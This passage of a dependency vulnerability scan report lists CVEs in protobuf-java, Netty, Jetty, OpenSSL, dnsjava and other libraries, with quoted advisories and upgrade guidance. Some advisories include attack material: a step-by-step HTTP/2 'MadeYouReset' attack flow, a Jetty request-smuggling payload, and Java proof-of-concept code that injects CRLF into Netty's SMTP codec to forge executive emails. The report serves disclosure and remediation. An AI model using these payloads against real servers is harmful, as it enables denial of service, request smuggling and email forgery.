[LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.427%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.jboss.xnio/xnio-api 3.8.8.Final (maven) - -pkg:maven/org.jboss.xnio/xnio-api@3.8.8.Final
-high 7.5: CVE--2023--5685 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=3.8.13.Final
Fixed version3.8.14.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.474%
EPSS Percentile64th percentile
- -
Description -
- -A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.94.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
